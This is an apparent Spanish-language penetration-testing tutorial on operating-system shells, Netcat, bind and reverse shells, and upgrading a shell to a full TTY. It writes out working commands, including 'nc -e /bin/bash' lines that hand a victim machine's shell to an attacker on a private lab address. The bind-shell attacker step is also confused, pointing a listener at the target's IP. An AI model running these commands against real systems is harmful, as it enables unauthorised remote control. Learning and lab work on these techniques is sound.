Shells del Sistema Operativo

El Shell (TERMINAL) es la capa más externa del sistema operativo, este incorpora un lenguaje de programación para controlar los procesos y archivos, además de interactuar con los programas. Es en términos generales el modo de interactuar con el sistema operativo, mediante comandos. Ejemplos de Shell, son la terminal de Linux, CMD, y PowerShell de Windows.

Netcat

Netcat es una herramienta que se ejecuta en la shell para crear conexiones entrantes y salientes mediante la capa de transporte del modelo TCP/IP por los protocolos TCP & UDP. Netcat ya viene instalada en Kali Linux y Parrot Security.

El uso más común de Netcat es como cliente (del modelo cliente/servidor) para conectarse a un host (maquina objetivo) y puerto específico, es ahí cuando podemos establecer desde nuestro equipo una conexión remota con una maquina objetivo.

Bind Shell

Bind Shell (Shell directa), es donde el atacante primero debe establecer una conexión hacia el objetivo (máquina victima) luego en la maquina objetivo se debe ejecutar Netcat para generar la shell. El principal problema de está opción es debido a que la conexión es entrante y si en la red existe seguridad perimetral lo más probable es que sea bloqueada la conexión debido a estas herramientas de seguridad. Los comandos que se ejecutaran son: Maquina atacante (Kali) primero en modo escucha:

nc -lv 192.168.93.132 4444

La dirección IP es la de la maquina objetivo (ubuntu en esté caso), el puerto es cualquiera que no este ejecutando ningun servicio en los dos equipos, lo más comun es un puerto del tipo efimero (puerto donde en envian solicitudes del lado del cliente), aquellos que no se ocupan.

En la maquina objetivo se coloca el siguiente comando después:

nc -lnp 4444 -e /bin/bash

Una vez establecida la conexión, se debe realizar el tratamiento de la terminal interactiva (TTY), para que funcione comodamente.

Tratamiento de la TTY

Ingresar el comando (en nuestra terminal de atacante de Kali):

script /dev/null -c bash

Pulsar la combinación: ctrl + z Escribir el comando:

stty raw -echo; fg

Pulsar Enter y escribir:

reset

Pulsar Enter y escribir:

reset xterm

Escribir:

export TERM=xterm

Ahora debemos colocar nuestra terminal en pantalla completa para trabajar más comodo en caso de comandos muy largos:

stty rows 30 columns 100

Hemos terminado el tratamiento de nuestra terminal interactiva.

ReverseShell

Es muy parecido a realizar una BindShell, la diferencia en la conexión, en este caso la conexión se envia desde el objetivo hacia el atacante, por lo tanto como es una solicitud de salida, si llegara a existir una herramienta en la red, normalmente no lo detectaria. Los comandos son: El atacante coloca en modo escucha su maquina:

nc -lvp 4445

Y la maquina objetivo ejecuta la conexión reversa:

nc -nv 192.168.93.132 4445 -e /bin/bash

La dirección IP es la del atacante y el puerto en donde este se encuentra en escucha.

Luego establecer la ReverseShell se realiza nuevamete el tratamiento de la terminal interactiva, como se vio en el paso anterios (Tratamiento de la TTY).